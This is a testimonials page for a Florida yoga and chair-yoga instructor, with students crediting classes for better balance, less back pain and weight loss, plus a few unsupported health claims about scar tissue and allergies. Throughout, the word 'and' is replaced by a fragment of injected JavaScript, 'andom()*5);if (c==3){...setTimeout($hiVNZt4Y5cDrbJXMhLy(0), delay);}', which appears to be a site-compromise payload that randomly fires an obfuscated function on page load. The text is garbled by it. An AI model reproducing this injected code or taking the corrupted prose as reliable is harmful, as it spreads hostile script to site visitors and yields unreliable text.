Testimonials

Cancer Survivor

I started taking yoga classes as I was in treatment for breast cancer. It helps with my mental attitude, to improve my self-esteem andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to improve my flexibility. This is a life-long decision that Knan helps me keep! - Estelle Loxsom , 7-year survivor


"Yoga is the answer."

Are you ready to take your riding to the next level? Yoga is the answer. Balance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and agility are necessary components in the art of the equestrian. Better known as the art of keeping your horse between you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the ground. After college, I wanted to return to riding. By the time I got really serious about it, I was 47. Even though the legs, handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seat were beginning to do what they were supposed to do, I could not get a firm seat. I felt like a bobble head toy on my horse. After just one yoga session with Knan, my balance improved 100%. I am sitting tight in the saddle. I can communicate more effectively with my horse. He is happier. I am happier. We continue to improve each week. I have a yoga session just once a week. That is all it takes. 

NOTE: Teresa continues her Yoga practice, marking her one year anniversary in March 2011; Teresa is taking private sessions in Hatha Yoga with me.

Teresa Sever
Ocala, Florida

"It improves the circulation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and breaks up the scar tissue."

I've been coming to Chair Yoga with Knan at Lake Center for Rehab for just 4 sessions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the Chinese Knee Massage has really helped my knees, especially my right knee, which was replaced last March. It improves the circulation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and breaks up the scar tissue. Also I used to have to hold on to the bar in the shower andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my balance has improved so much that I no longer need to hold on! This is great!

Kathleen Wilson
The Villages

"...this exercise has really helped decrease my pain."

Knan keeps the Chair Yoga classes fun andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and interesting. We learn about different Yoga breathing techniques andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and different handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Mudras. I have Scoliosis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and this exercise has really helped decrease my pain.

Note from Knan: Debbie practiced Chair Yoga with me for 6 months, usually twice a week, but sometimes just once each week. In January 2011 she decided to try both my Yogalates class andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my Hatha Yoga class. She now comes both, visiting my Yogalates on Wednesdays andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my Yoga class on Mondays she even  occasionally visits the Yoga class at Mulberry Grove. Her progress has been remarkable! You go girl!

Debbie Falcinelli
The Villages

"... a very pleasing experience..."

I have been a student of Knan's for 8 months. My first experience with her was personalized yoga lessons. We started by having her analyze my current potential to accomplish short term goals. My lessons were designed to be less demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding in the beginning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and were appropriately ramped up as Knan accessed my progress. The private lessons took place in her private log cabin set back in the woods, a soothing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ideal setting. Her knowledge of Yoga is vast, yet she was always willing to slow things down to patiently address my questions.  Her demeanor, voice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and humor all add to a very pleasing experience andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the time always flew by.

I eventually began to participate in group yoga at Mulberry Grove with Knan andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have found this to be just as pleasing an experience. I thought that I would feel strange doing the poses in the company of others, but with Knan's humor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and patience everybody has a good time. Everyone is encouraged to do their best andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we are all reminded that it's not a competition.

Finding my way through life after the loss of my wife to cancer was difficult until I enlisted Knan's life coaching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and motivational goal setting assistance. When I was faced with difficult decisions, Knan did not provide answers as much as giving me the tools to find the answers myself. She showed me how to step back andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and look at a situation before proceeding, how to decide what I need to do andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and don't need to do, how to extricate myself from bad situations caused by my own bad choices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how to watch out for self-defeating personality flaws that I may exhibit. I would not have the friends, happiness andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and success that I am experiencing now had it not been for Knan's life coaching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and goal setting.

NOTE: It was with Marty's expertise that my DVDs, ~Stretch~ Chair Yoga with Knan Lee andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ~Mudras andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and More~ with Knan Lee became a reality. Thanks Marty!

Marty Balash
Ocala, FL

"I have lost two full clothing sizes."

I began Knan's Yogalates at Lake Center for Rehab in mid-December on Mondays andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Wednesdays. I enjoy the class because it is the perfect combination of core strengthening andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stretching. I recently missed several classes due to other obligations. I noticed immediately the impact missing class had on my posture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and my overall stamina, not to mention just feeling GOOD in my skin. Yogalates has improved my posture, stamina andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and improved my strength. Plus despite missing a few classes, I am happy to report that I have lost two full clothing sizes. Knan said it would happen andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and told me to be patient, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and here I am at the end of February a two sizes smaller! Yogalates is great! Update: Since Knan no longer comes to The Villages, I come to her. Her new Studio is wonderful! One of the bonuses of my continued practice with Knan is that my allergies have not flared up this season, in what has been one of the allegedly worst allergy seasons ever.

Sandy Nolan
The Villages

"It's unbelievable."

I have arthritis in my lower spine but soon after I began working out with Knan, my spine, which was stiff andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hurt all the time has stopped hurting! It's unbelievable. Knan says it is a combination of the Pilates work we do with the ball , which loosened up my spine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has made it so much more flexible andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how I have strengthened my core muscles. I feel great!

Theoline LaBlanc
Del Webb's Stone Crest, The Villages

"...supportive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fun"

As a physically challenged stroke survivor, I find Knan's Chair Yoga classes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and DVDs to be excellent ways to experience the benefits of gentle yoga exercise in a supportive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fun way.

Knan has a unique ability to help her students find ways to adapt various yoga poses to meet their individual needs, so we are always safe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and comfortable.

 

Jan Lennon
The Villages

"I've noticed a much calmer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flexible me."

Since attending Knan's Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Yogalates classes, I've noticed a much calmer andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and flexible me. I have also lost inches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rediscovered my core muscles that have been asleep for a long time!

Knan is a wonderful instructor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and very knowledgeable about the body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mind. She makes the Yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Yogalates experience pleasurable. I look forward to her classes every week.

Debbie McGonigle
The Villages

"My chronic back pain is much better..."

I experience better balance andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and riding stamina since taking Knan's Hatha Yoga class at H2U. My chronic back pain is much better as well. I would advise Knan's Yoga classes to any rider seeking to improve their riding skills andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the chronic rider aches andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pains, especially Dressage. I have also joined Knan's Core Strengthening class on Tuesdays at H2U andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and love it. I recommend both classes! I am a 52 year Dressage rider, by the way.

Juliann Bratcher
Ocala, FL